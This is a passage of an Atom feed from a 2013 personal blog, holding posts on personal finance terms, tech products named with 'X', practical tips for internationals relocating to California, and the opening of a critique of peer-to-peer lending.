Bhatia</name></author><published>2013-10-14T01:47:26+00:00</published><updated>2013-10-14T01:47:26+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock the mysteries of personal finance with our guide to contributions, earnings, taxes, and more. Get insights into maximizing your financial portfolio!</blockquote><ol>
<li><strong>Contributions</strong> - Money being put into an account is called a &ldquo;contribution&rdquo; to that account.</li>
<li><strong>Earnings</strong> - Money &ldquo;earned&rdquo; in an account. Usually, as an interest or dividend on the money contributed but can also include things like bank bonuses.
As a concrete example, a person opened a new bank account and &ldquo;contributed&rdquo; 1000$ in the account, the bank gave him a 150$ bonus and by the end of 31 Dec, the account earned and interest of 35$, the &ldquo;earnings&rdquo; will be 185$ (150 + 35).</li>
<li><strong>Withdrawal</strong> - Money &ldquo;withdrawn&rdquo; from an account of one type into an account of a different type. Movement of money between accounts of the same type is not withdrawal.</li>
<li><strong>Realized</strong> and <strong>Unrealized gains</strong> - Suppose a person buys stocks worth of 1000$ and it gains 5% in one month, the gain of 50$ in this case would be &ldquo;unrealized&rdquo; till the person decides to sell the stocks, at which point, the gain is &ldquo;realized&rdquo;.
Why does this matter? As per the contemporary IRS rules, gains are taxed on realization based on tax laws at the time of the realization.
Note: In the case of bank accounts, earnings are realized as soon as the bank pays interest at the end of the month.</li>
<li><strong>Pre-tax contribution</strong> - A contribution made from the pre-tax money, the money from which state and federal income tax have not been deducted.</li>
<li><strong>Post-tax contribution</strong> - A contribution made from post-tax money. Such a contribution won&rsquo;t be taxed again (provided the person is careful), the earnings on it might/might not be taxed depending on the type of account earnings were generated in.</li>
<li><strong>Tax-deferred growth</strong> - An account where earnings are not taxed till a withdrawal is made from the account (what if 10% money is withdrawn from the account? well, that is account specific and will be covered in a different blog post)</li>
<li><strong>Tax-free growth</strong> - An account where earnings are not taxed ever - usually these accounts have certain constraints like age at the time of withdrawal should be more than 59.5 or money should be held in the account for a certain period of time or both. Trivia: Mitt Romney holds money in one such   
    
    
<a href="https://www.huffingtonpost.com/2012/07/17/romney-ira_n_1681179.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">account</a>.</li>
<li><strong>Equity</strong> - A piece of ownership of land or company</li>
<li><strong>Share/Stock</strong> - A piece of ownership of a company</li>
<li><strong>Bond</strong> - A piece of ownership of a debt given to a company. Safer than stock but yields lower return.</li>
<li><strong>Options/Futures/Currencies/Shorting/Margin trading</strong> - A collection of exotic complicated financial instruments which I don&rsquo;t fully understand. Please refer to one of the references if you are interested.</li>
<li><strong>Municipal Bonds</strong> (munis) - The earnings on these bonds are not subjected to federal and state taxes as long as they are from the same state as the buyer&rsquo;s state of residence. High earners love these.</li>
<li><strong>Ordinary income tax</strong> - A tax which applies to regular income  like salary and interest paid by the banks. This tax has both state and federal tax components.</li>
<li><strong>Capital gains tax</strong> - A tax which is applied to the appreciation in value of an equity (like stock or house), this tax is either short term (if holding period of equity is less than 365 days) - where it is counted as part of ordinary income or long-term - where it gets a preferred treatment and is taxed on a lower rate (more on this in another blog post).</li>
<li><strong>Required Minimum Distribution (RMD)</strong> - A lot of retirement accounts mandate that the owner must start withdrawing a certain amount of money from the age of 70.5, the minimum withdrawal limit is controlled by IRS [   
    
    
<a href="https://en.wikipedia.org/wiki/IRA_Required_Minimum_Distributions?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>].</li>
<li><strong>Expense Ratio</strong> - A percentage of money which a mutual fund eats into every year. Eg. if expense ratio is 1% than a contribution of 1000$ with 10% gain will become 1090$ at the end of the year.</li>
</ol>
<p>Trivia: Reason being 59.5 being the retirement age is detailed   
    
    
<a href="https://www.pearsonhighered.com/samplechapter/0132333848.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
]]></content><category scheme="https://ashishb.net/category/finance" term="finance" label="finance"/><category scheme="https://ashishb.net/tag/finance" term="finance" label="finance"/></entry><entry><title type="html">Tech world's love for letter "X"</title><link href="https://ashishb.net/misc/tech-worlds-love-for-letter-x/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-3/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 3"/><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 2"/><link href="https://ashishb.net/misc/a-guide-to-relocating-to-california-for-internationals-part-1/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 1"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><id>https://ashishb.net/misc/tech-worlds-love-for-letter-x/</id><author><name>Ashish Bhatia</name></author><published>2013-09-30T03:51:05+00:00</published><updated>2013-09-30T03:51:05+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the tech world&rsquo;s obsession with &lsquo;X&rsquo; – from GoogleX to Apple Xcode and beyond. Uncover why this letter dominates innovation and branding.</blockquote><ol>
<li><strong>GoogleX</strong></li>
<li>Google <strong>neXus</strong></li>
<li>Apple <strong>Mac OS X</strong></li>
<li>Apple <strong>Xcode</strong></li>
<li>HTC <strong>One X</strong></li>
<li>Google <strong>Solve-for-X</strong></li>
<li><strong>SpaceX</strong></li>
<li>IBM <strong>X-force</strong></li>
<li>Motorola <strong>Moto X</strong></li>
<li>Microsoft <strong>Xbox</strong></li>
<li>Comcast <strong>Xfinity</strong></li>
<li>Sony <strong>Xperia</strong> phone</li>
<li>Dell <strong>XPS</strong> tablet</li>
<li><strong>X-treme</strong> tablet</li>
<li>Motorola <strong>Xyboard</strong> tablet</li>
<li>Nokia <strong>X</strong></li>
</ol>
<p>No where, outside, of the tech world is the letter &ldquo;X&rdquo; gets such a prominence.</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Relocating to California for internationals - Part 3</title><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-3/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/tech-worlds-love-for-letter-x/?utm_source=atom_feed" rel="related" type="text/html" title='Tech world&#39;s love for letter "X"'/><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 2"/><link href="https://ashishb.net/misc/a-guide-to-relocating-to-california-for-internationals-part-1/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 1"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><id>https://ashishb.net/misc/relocating-to-california-for-internationals-part-3/</id><author><name>Ashish Bhatia</name></author><published>2013-09-25T20:01:14+00:00</published><updated>2013-09-25T20:01:14+00:00</updated><content type="html"><![CDATA[<blockquote>Simplify finance with Mint, track your credit with CreditKarma, and manage bills using Splitwise. Get savvy with free credit reports and insider tips on returns and healthcare!</blockquote><ol>
<li><strong>Manage your finances</strong> Use   
    
    
<a href="https://www.mint.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mint</a> for getting a complete view of your finances.   
    
    
<a href="https://www.creditsesame.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CreditSesame</a>,   
    
    
<a href="https://www.credit.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Credit</a>,   
    
    
<a href="https://www.creditkarma.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CreditKarma</a>, and   
    
    
<a href="https://www.quizzle.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Quizzle</a> for free credit score tracking. Quizzle always tries to sell something; others are better. The score they provide is not the same as the FICO score but is highly correlated. Use   
    
    
<a href="https://www.splitwise.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Splitwise</a> or   
    
    
<a href="https://www.buxfer.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Buxfer</a> for splitting bills with friends.   
    
    
<a href="https://www.vanguard.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vanguard</a> has a great selection of index funds.   
    
    
<a href="https://matrix.itasoftware.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Matrix ITA</a> for airfare prices.   
    
    
<a href="https://www.yapta.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">yapta</a> for tracking airfare prices over time.</li>
<li><strong>Get three free credit reports every year</strong>
Set a Google calendar event to get a free report every four months rotating between Equifax, Transunion, and Experian (major credit report providers) via   
    
    
<a href="https://www.annualcreditreport.com/cra/index.jsp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">annualcreditreport.com</a>. Each company is bound to provide you with one free report once a year.</li>
<li><strong>Return policies are really lax</strong> in CA (and the US in general)
Buy almost anything including electronic gadgets like phones and laptops to try. If you don&rsquo;t like it just return it within a set time period, usually 15 days or 30 days, for free.</li>
<li><strong>Healthcare</strong> The US has one of the most expensive health cares in the world. Employers provide health insurance - medical, dental, and vision. For healthy individuals, usually, the less expensive plan (HMO) is a better option. Dental insurance usually covers two teeth cleaning per year for free. Vision insurance covers one vision test, which is usually not free but with a nominal co-payment. Medical insurance usually covers a physical checkup.</li>
</ol>
<p>To be continued to part 4 (Retirement accounts, investing, Things to do in and around California)</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Relocating to California for internationals - Part 2</title><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-2/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/misc/tech-worlds-love-for-letter-x/?utm_source=atom_feed" rel="related" type="text/html" title='Tech world&#39;s love for letter "X"'/><link href="https://ashishb.net/misc/relocating-to-california-for-internationals-part-3/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 3"/><link href="https://ashishb.net/misc/a-guide-to-relocating-to-california-for-internationals-part-1/?utm_source=atom_feed" rel="related" type="text/html" title="Relocating to California for internationals - Part 1"/><link href="https://ashishb.net/misc/capitalism-achilles-heel/?utm_source=atom_feed" rel="related" type="text/html" title="The Achilles heel of American capitalism"/><link href="https://ashishb.net/misc/punjabi-singers/?utm_source=atom_feed" rel="related" type="text/html" title="The science behind Punjabi singers"/><id>https://ashishb.net/misc/relocating-to-california-for-internationals-part-2/</id><author><name>Ashish Bhatia</name></author><published>2013-09-25T19:56:02+00:00</published><updated>2013-09-25T19:56:02+00:00</updated><content type="html"><![CDATA[<blockquote>Choose the perfect car for your lifestyle, from budget-friendly models to luxury vehicles. Get tips on purchasing, insurance, and more for a smooth buying experience.</blockquote><ol>
<li><strong>Buying a car</strong>
Due to the   
    
    
<a href="https://en.wikipedia.org/wiki/General_Motors_streetcar_conspiracy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">deliberate destruction</a> of public transport, driving a car is cheaper on the west coast compared to taking public transport unless your employer subsidises commute via public transport. Decide ah car you want to buy, Honda Civic and Toyota Corolla are value for money for singles. Honda Accord and Toyota Camry are better for people with families. Specially, who have young kids which require child safety seats.  On luxury end, Toyota Lexus, BMW, Mercedes and Tesla are the popular ones. A car&rsquo;s average age is considered to be 200, 000 miles. So, be wary of that while buying a second hand car. Do check car&rsquo;s mileage (miles per gallon) on   
    
    
<a href="https://www.fueleconomy.gov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fueleconomy</a>. Car model years are a bit misleading, model 2013 usually, came out in June 2012 and for some companies even earlier). If you are buying a new car, then go to multiple dealers and bid them for the best price, it is usually easy to get 10% or more off from the marked price of the vehicle. If you are buying second hand, ask for a   
    
    
<a href="https://www.carfax.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Carfax</a> report which gives the detailed history of any recorded accidents which car had. Check the price of second hand car at   
    
    
<a href="https://www.kbb.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Kelly Blue Book</a>, in my opinion, they are marked upwards by 10%. craigslist is still one of the best source for buying and selling cars. Avoid buying cars with non-Californian license plate since you have to register them next year. Specially, avoid cars coming from cold states since they might have been corroded by salt which is used to prevent ice melting on roads in these states. Go to DMV and inquire if that car has any pending fees/parking fines which are unpaid for. Buying second hand cars from individuals, as opposed to dealers, is usually cheaper. But dealers will sell second hand cars with a warranty to justify the premium, do get details of the warranty. If you are buying from an individual, do get a thorough inspection done at a car mechanic (costs  &lt; 100$).</li>
<li><strong>Car insurance</strong> (Auto insurance)
Do hunt around for multiple quotes, try insurers to match quotes from others. Good companies are   
    
    
<a href="https://www.aaa.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AAA</a> (recommended) and   
    
    
<a href="https://www.geico.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Geico</a> (they never gave me a good rate though). Smaller companies like   
    
    
<a href="https://www.statefarm.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StateFarm</a>,   
    
    
<a href="https://www.farmers.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Farmers</a>, and   
    
    
<a href="https://www.providentcu.org/index.asp?i=insure&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Provident</a> (to name a few) might give better rates as well. Usually, phone calls will return better rates than the websites. If you are driving history in the US is not long enough, be ready to buy an expensive insurance for ~6 months and then buy a new one. Have minimum liability of 100K/300K (meaning 100K per individual in an incident and 300K per incident). If your car is new, get a comprehensive insurance with high deductible like 500$ or 1000$.</li>
<li><strong>Maintain emergency cash</strong>
The usual rule of thumb is to maintain 6-8 months of expenditure at a safe place. Checking and savings accounts are insured by FDIC up to $250, 000 per customer per bank. So, keep it in a high yield savings account (   
    
    
<a href="https://www.banking.barclaysus.com/online-savings.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Barclays</a> offers 1.0% - which is high by US standards). A more elaborate list is available at   
    
    
<a href="https://www.fatwallet.com/forums/finance/783099/?start=0&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">fatwallet</a>. Another alternative is to buy   
    
    
<a href="https://www.treasurydirect.gov/indiv/research/indepth/ibonds/res_ibonds_iratesandterms.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Series I Bonds</a> by US treasury. The purchase is limited to $10K per individual and they have to be held for at least 1 year after purchase. They are inflation-protected, meaning, their value will go up with inflation. They are not taxable by state and city governments.</li>
<li><strong>First tax filing</strong>
California has state taxes. Both state and federal tax filings are due every year in April for the previous year. I used to use pen and paper for a couple of years. It was a great learning experience but was unsustainable in long run. So, I started using TurboTax instead. Keep an eye around for   
    
    
<a href="https://www.google.com/search?q=%22TurboTax&#43;deals%22&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">TurboTax deals</a>.</li>
<li><strong>If you are paying full price for anything you are probably paying too much</strong>
All marked prices whether it&rsquo;s rental cars or food, there are deals/discounts going all the time. Whether it&rsquo;s worth spending the time to look around for discounts is a personal choice. As a rule of thumb, looking around for discount coupons/deals when you are paying more than 100$ is not a bad idea. If you work for a big company, they will usually have an internal perks site. Also, you can check out perks eligibility at   
    
    
<a href="https://www.larky.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">larky</a> based on your employer, city and state of residence, insurance and credit cards.</li>
<li><strong>Eating out</strong> Use   
    
    
<a href="https://www.yelp.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">yelp</a> to find good restaurants. Tipping norm is 15-20% for food served on the table, anything less than 10% looks ugly. Taking food out as &ldquo;to go&rdquo; has no mandatory tips.   
    
    
<a href="https://www.subway.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Subway</a> is a great healthy place for &ldquo;to go&rdquo; sandwiches.   
    
    
<a href="https://www.starbucks.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Starbucks</a> fulfills the   
    
    
<a href="https://www.cnbc.com/id/43393500?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">national coffee addiction</a>.   
    
    
<a href="https://mo.gl/16v93t12?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Mogl</a> provides 10% cash back on selected restaurants in California.</li>
</ol>
<p>Continue to 
<a href="/misc/relocating-to-california-for-internationals-part-3/">Part 3</a> (free credit reports, managing finances, health care &hellip;)</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/></entry><entry><title type="html">Relocating to California for internationals - Part 1</title><link href="https://ashishb.net/misc/a-guide-to-relocating-to-california-for-internationals-part-1/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/joshua-tree-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="A day at Joshua Tree National Park"/><link href="https://ashishb.net/travel/lava-beds-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Cave Exploration at Lava Beds National Monument"/><link href="https://ashishb.net/travel/yosemite-national-park/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Yosemite National Park"/><link href="https://ashishb.net/travel/a-vegetarian-lunch-at-french-laundry/?utm_source=atom_feed" rel="related" type="text/html" title="A vegetarian lunch at French Laundry"/><link href="https://ashishb.net/travel/death-valley/?utm_source=atom_feed" rel="related" type="text/html" title="Death Valley in 3 days"/><id>https://ashishb.net/misc/a-guide-to-relocating-to-california-for-internationals-part-1/</id><author><name>Ashish Bhatia</name></author><published>2013-09-25T17:28:02+00:00</published><updated>2013-09-25T17:28:02+00:00</updated><content type="html"><![CDATA[<blockquote>Navigate California like a local: Discover rental tips, get your SSN, choose the best phone plan, set up your bank account, and start building your credit.</blockquote><p>This set of articles are for Internationals who have recently relocated to California for a job. I am listing a few things which I wish I knew when I first arrived here for a full-time job.</p>
<ol>
<li><strong>Hunting for apartment</strong>
Use   
    
    
<a href="https://craigslist.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">craigslist.org</a>,   
    
    
<a href="https://padmapper.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">padmapper.com</a> (this also provides average renting prices of the area) and   
    
    
<a href="https://www.housingmaps.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" title="based on suggestion by Indranil Gupta" rel="nofollow noopener">housingmaps.com</a>. Use   
    
    
<a href="https://crimereports.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">crimereports.com</a> to check the crime statistics of the area as well. Good apartments are booked really fast, sometimes, as quickly as the same day. Leases are usually a year long.</li>
<li><strong>Get SSN</strong> (Social Security Number)
By visiting the nearest   
    
    
<a href="https://www.ssa.gov/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SSA office</a>. A waiting period of 10 days is recommended after entering the USA. It&rsquo;s a single number which will uniquely identify you in the USA. Its needed for credit cards, bank accounts and pretty much everything else. Most banks at their discretion will open a bank account without an SSN though.</li>
<li><strong>First phone</strong>
USA has both CDMA and GSM networks. Phone numbers in the US are portable and that too for no fee. So, moving from one carrier to another is easy. The US has a weird contract phone system where people pay 200$ upfront and then buy a two-year contract to get a free phone locked to that carrier. If you are planning to go for a contract phone, go for either   
    
    
<a href="https://www.att.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">AT&amp;T</a>, which is GSM or   
    
    
<a href="https://www.verizon.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Verizon</a>, which is CDMA. They have the best coverage but they are expensive.   
    
    
<a href="https://www.t-mobile.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">T-Mobile</a>, a GSM carrier and   
    
    
<a href="https://sprint.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Sprint</a>, a CDMA carrier, are less expensive but have limited coverage. If you go for a contract-less phone, you will pay more upfront but still much less over the two year period. In that case, go for either a good Nexus phone from   
    
    
<a href="https://play.google.com/store/devices/details?id=nexus_4_8gb&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Google Play</a> or go for an unlocked iPhone from   
    
    
<a href="https://www.walmart.com/ip/Apple-iPhone-5-16GB-White-for-Straight-Talk-No-Contract/22401228?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Walmart</a>. And use that with an MVNO, mobile virtual network operators like   
    
    
<a href="https://refer.cricketwireless.com/6Vs5vvf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Cricket wireless</a> or   
    
    
<a href="https://www.straighttalk.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">StraightTalk</a>. For the curious, a long list of MVNOs is available on   
    
    
<a href="https://en.wikipedia.org/wiki/List_of_United_States_mobile_virtual_network_operators?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Wikipedia</a>.</li>
<li><strong>First Bank account</strong>
I would recommend getting a primary checking account at a big bank like   
    
    
<a href="https://chase.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Chase</a>,   
    
    
<a href="https://www.bofa.com?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">BofA</a> or   
    
    
<a href="https://www.wellsfargo.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">WellsFargo</a>. Checking account is also known as current account in some countries. Open a checking account and not a savings account. Most savings account practically offer 0% at big banks and you cannot withdraw money more than thrice a month from them. Also, don&rsquo;t pay a maintenance fee for your account. Usually, the accounts have a no maintenance fee clause if you meet certain conditions. Clauses like your employer making a direct deposit or you maintain a minimum balance ~ 1000$ dollars. If there is no such clause just tell the banker you will walk away and they will most likely fix it for you on the spot. Do check if any   
    
    
<a href="https://www.google.com/search?q=bank&#43;promotions&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">promotions</a> are going on nearby. Also, ask your friends for a referral. In most cases, their banks/Credit Unions are happy to give you and them a referral bonus for a new customer. Credit unions don&rsquo;t have shareholders to distribute the profit (unlike banks). So, in some cases, they can offer better service but usually, their small sizes interfere in that.</li>
<li><strong>First credit card</strong>
Credit cards have better credit protection, in case they are stolen, and better rewards than Debit cards in the US. It takes time to build credit history and is useful for negotiating loans for big purchases like buying a home. So, even if you feel you don&rsquo;t need one, just get one, use it and pay it in full before the due date. Say your card&rsquo;s billing cycle started on Jan 1, then the billing cycle will end on Jan 31. Depending on the card, you will have time to make payment till Feb 15 or Feb 31. Don&rsquo;t make the minimum payment, if you can just pay it fully. Credit card interest rates are ridiculous ~13%-17%. just pay in full. Don&rsquo;t go for a secured credit card. Don&rsquo;t go for a card with an annual fee. Preferably, go for a card which provides no foreign transaction fee,   
    
    
<a href="https://www.capitalone.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">capital one</a> cards are my favorite for that. Usually, big banks are reluctant to give credit cards to people with no   
    
    
<a href="https://en.wikipedia.org/wiki/Credit_score_in_the_United_States?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">credit history</a> in the US. All transactions from credit cards as well as any mortgage/loans in the US contributes to an individual&rsquo;s credit history. If no big bank is ready to give you a normal (not secured) no-fee card then go for credit unions. I got my first card from   
    
    
<a href="https://www.sfcu.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">SFCU</a>. Six months later, my credit history was sufficient to get a normal no-fee credit card from Bank of America for which they denied earlier. Also, to avoid getting junk credit card offers in your mailbox,   
    
    
<a href="https://www.optoutprescreen.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">opt out</a>.</li>
<li><strong>Driving license</strong>
Your country&rsquo;s driving license will work in California for only the first 10 days. I would recommend not to drive in California alone unless you are coming from a country which has similar traffic laws. Getting a driving license involves two steps - a written test, which is easy. Prepare for it by reading   
    
    
<a href="https://www.dmv.ca.gov/pubs/dl600.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">CA driving handbook</a> and then book an   
    
    
<a href="https://www.dmv.ca.gov/dl/new_driver.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">appointment</a>. The second step which is a driving test is more involved. Most of my friends failed at least once and in some cases twice. I would recommend looking for driving instructor on   
    
    
<a href="https://craigslist.org?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">craigslist</a>.</li>
</ol>
<p>Continue to 
<a href="/misc/relocating-to-california-for-internationals-part-2/">Part 2</a> (buying cars, car insurance, tax filings&hellip;)</p>
]]></content><category scheme="https://ashishb.net/category/misc" term="misc" label="misc"/><category scheme="https://ashishb.net/tag/california" term="california" label="california"/><category scheme="https://ashishb.net/tag/guide" term="guide" label="guide"/><category scheme="https://ashishb.net/tag/international" term="international" label="international"/></entry><entry><title type="html">Personal Finance: Thoughts on peer to peer lending</title><link href="https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/finance/finance-101-credit-cards/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Credit Cards"/><link href="https://ashishb.net/finance/finance-101-a-basic-plan/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: A basic plan"/><link href="https://ashishb.net/finance/finance-101-cheatsheet/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: Cheatsheet"/><link href="https://ashishb.net/finance/finance-101-references/?utm_source=atom_feed" rel="related" type="text/html" title="Finance 101: References"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><id>https://ashishb.net/finance/personal-finance-thoughts-on-peer-to-peer-lending/</id><author><name>Ashish Bhatia</name></author><published>2013-08-27T05:01:54+00:00</published><updated>2013-08-27T05:01:54+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why P2P lending isn&rsquo;t a smart investment. Learn about tax inefficiencies, liquidity issues, and more before committing your money to this platform.</blockquote><p>A year back I decided to try peer to peer(P2P) lending (out of curiosity) will a small sum of money.
My net conclusion is that peer to peer lending is not a sensible form of investing.
My money is still stuck (and that&rsquo;s not the only reason why I would recommend people to stay away from it).</p>
<h2 id="how-it-works">How it works</h2>
<p>A lender with say 1000$ will go to a site like lendingclub.com or prosper.com and will loan money directly to people in units of say, 25$ notes. The loan (with interest)  will be paid back in fixed period of time (36 or 60 months).</p>
<h2 id="reasons-why-i-dislike-p2p-lending">Reasons why I dislike P2P lending</h2>
<ol>
<li><strong>Income counted as regular income</strong> The income counts as ordinary income and is treated at marginal income tax rates which is usually much higher rate then long terms capital gains and dividends. Not to ignore that if a person is living in high tax state like California, the state tax applies as well. So, the after tax rate of P2P lending is approx. 20% lower than equities.
Note: This does not apply if you are using Roth IRA account for investment.</li>
<li><strong>Tax inefficient</strong> The lender will get a fixed amount of money every month (except for defaulted loans) unlike capital gains, there is no way to keep it unrealized and timing it (Eg. postponing gains for a year). Even worse sometimes the creditors will pay back well in advance.
Note: This does not apply if you are using Roth IRA account for investment.</li>
<li><strong>Too much of work</strong> Unless the lender is ready to put in a minimum sum (~25, 000 $), the task cannot be automated.
In my opinion, investing one&rsquo;s savings in chunks of 25$ units is not the best investment of one&rsquo;s time.
Also, from time to time some creditors will pay back earlier forcing lender to spend time reinvesting that money.</li>
<li><strong>No liquidity</strong> While equities and bonds can be sold at will (Eg. in case of a better opportunity or emergency), that&rsquo;s not the case with P2P lending. The notes can be sold though (through trading platform provided by P2P sites), but only at a loss.</li>
